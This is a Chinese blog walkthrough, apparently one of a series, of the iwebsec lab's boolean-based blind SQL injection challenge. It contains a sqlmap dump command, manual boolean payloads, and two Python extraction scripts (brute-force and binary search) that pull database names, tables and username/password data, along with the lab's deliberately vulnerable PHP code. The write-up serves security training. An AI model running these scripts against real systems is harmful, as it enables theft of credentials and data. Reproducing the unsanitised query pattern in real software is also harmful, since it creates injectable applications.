iwebsec-sql注入 03 bool型注入
1.iwebsec-sql注入 01 数字型注入2.iwebsec-sql注入 02 字符型注入
3.iwebsec-sql注入 03 bool型注入
4.iwebsec-sql注入 04 时间延迟型注入5.iwebsec-sql注入 05 报错型注入6.iwebsec-sql注入 06 宽字节字符型注入7.iwebsec-sql注入 07 空格过滤8.iwebsec-sql注入 08 大小写过滤注入9.iwebsec-sql注入 09 双写关键字绕过10.iwebsec-sql注入 10 双重url编码绕过11.iwebsec-sql注入 11 十六进制编码绕过12.iwebsec-sql注入 12 等价函数替换过滤13.iwebsec-sql注入 13 二次注入14.iwebsec-文件上传 01 前端JS过滤绕过15.iwebsec-文件上传 02 文件名过滤绕过16.iwebsec-文件上传 03 Content-Type过滤绕过17.iwebsec-文件上传 04 文件头过滤绕过18.iwebsec-文件上传 05 .htaccess19.iwebsec-文件上传 06 文件截断上传20.iwebsec-文件上传 07 条件竞争21.iwebsec-文件包含 01 本地文件包含22.iwebsec-文件包含 02 本地文件包含绕过23.iwebsec-文件包含 03 session本地文件包含24.iwebsec-文件包含 04 文件头过滤绕过25.iwebsec-文件包含 05 远程文件包含绕过26.iwebsec-文件包含 06 php://filter伪协议27.iwebsec-文件包含 07 php://input伪协议28.iwebsec-文件包含 08 php://input伪协议利用29.iwebsec-文件包含 09 file://伪协议利用30.iwebsec-文件包含 10 data://伪协议利用31.iwebsec-xss 01 反射型xss32.iwebsec-xss 02 存储型xss33.iwebsec-xss 03 DOM型xss34.iwebsec-xss 04 xss修复示例01、题目分析:
三大盲注型注入中的布尔型注入,说明只会回显正确结果,错误结果将不再回显,对于布尔型注入,手工注入会费时费力,因此布尔注入比较适合工具注入
02、sqlmap工具注入:
一把梭
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/03.php?id=1" --current-db --dump --batch
03、手工注入:
盲注,简单的来讲就是无论你输入什么内容,页面都不会出现错误提示,如果查询结果正确就显示类似查询成功或者其他的,错误就不会显示。所以注入思路其实就是一个个猜,比如数据库名的长度是6个吗,看看是否正确,没显示继续猜,正确就猜数据库名第一个字母是a吗,是b吗......这样一直猜,猜出来数据库名,表名,列名,数据等等
-- 检查数据库名称的长度是否为7 and length(database())=7; -- 检查数据库名称是否以字母 'p' 开头 and left(database(),1)='p'; -- 检查数据库名称是否以字母 'pi' 开头 and left(database(),2)='pi'; -- 检查数据库名称中的第一个字符是否为 'p' and substr(database(),1,1)='p'; -- 检查数据库名称中的第二个字符是否为 'i' and substr(database(),2,1)='i'; -- 检查数据库名称的第一个字符的 ASCII 码是否为 112 ('p' 的 ASCII 码) and ord(left(database(),1))=112;
04、手工脚本注入:
这个地方直接借用refeng大佬的脚本
暴力破解法:
# @Author:refeng import requests import string strings = string.printable flag = "" # url = 'http://192.168.6.153/sqli/03.php' for i in range(1,60): for j in strings: # 爆库 # url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((database()),{0},1))={1}--+".format(i,ord(j)) # 爆表 # url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='iwebsec'),{0},1))={1}--+".format(i,ord(j)) # 爆列 # url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),{0},1))={1}--+".format(i,ord(j)) # 爆数据 url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((select group_concat(concat_ws('~',username,password)) from iwebsec.user),{0},1))={1}--+".format(i,ord(j)) res = requests.get(url) if 'welcome' in res.text: flag += j print(flag) break else: continue
二分法:
# @Author:refeng import requests url = "http://192.168.6.153/sqli/03.php?id=1 and " result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 #爆库 payload = f"1=if(ascii(substr((select database() limit 0,1),{i},1))>{mid},1,0) --+" #爆表 # payload = f"1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='iwebsec' limit 0,1),{i},1))>{mid},1,0) --+" #爆列 # payload = f"1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user' limit 0,1),{i},1))>{mid},1,0) --+" #爆数据 # payload = f"1=if(ascii(substr((select group_concat(concat_ws('~',username,password)) from iwebsec.user limit 0,1),{i},1))>{mid},1,0) --+" r = requests.get(url + payload) if "welcome" in r.text: head = mid + 1 else: tail = mid if head != 32: result += chr(head) else: break print(result)
05、代码分析
<?php require_once('../header.php'); // 引入头部文件 require_once('db.php'); // 引入数据库连接文件 ?> <html> <head> <title>MySQL bool SQLi</title> </head> <h2>MySQL bool SQLi</h2> <div class="alert alert-success"> <p>/03.php?id=1 </p> </div> <body> <?php if(isset($_GET['id'])){ // 检查是否存在传递的id参数 $id=$_GET['id']; // 获取id参数的值 $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 构造查询语句,根据传递的id参数查询user表中对应的记录 $result=mysql_query($sql); // 执行查询语句,将结果存储在$result变量中 } else{ exit(); // 如果没有传递id参数,则退出(终止脚本运行) } if ($result) { // 如果查询成功 ?> <table class='table table-striped'> <?php while ($row = mysql_fetch_assoc($result)) { // 遍历查询结果的每一行 echo '<div class="alert alert-success">'; echo "<p>welcome to iwebsec!!!</p></div>"; echo "</tr>"; } echo "</table>"; } else { // echo '<font color= "#FFFFFF">'; print_r(1); // 如果查询失败,输出1 // echo "</font>"; } ?> # 这个代码和之前的不通的地方是没有数据回显,查询成功只输出一个welcome to iwebsec!!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步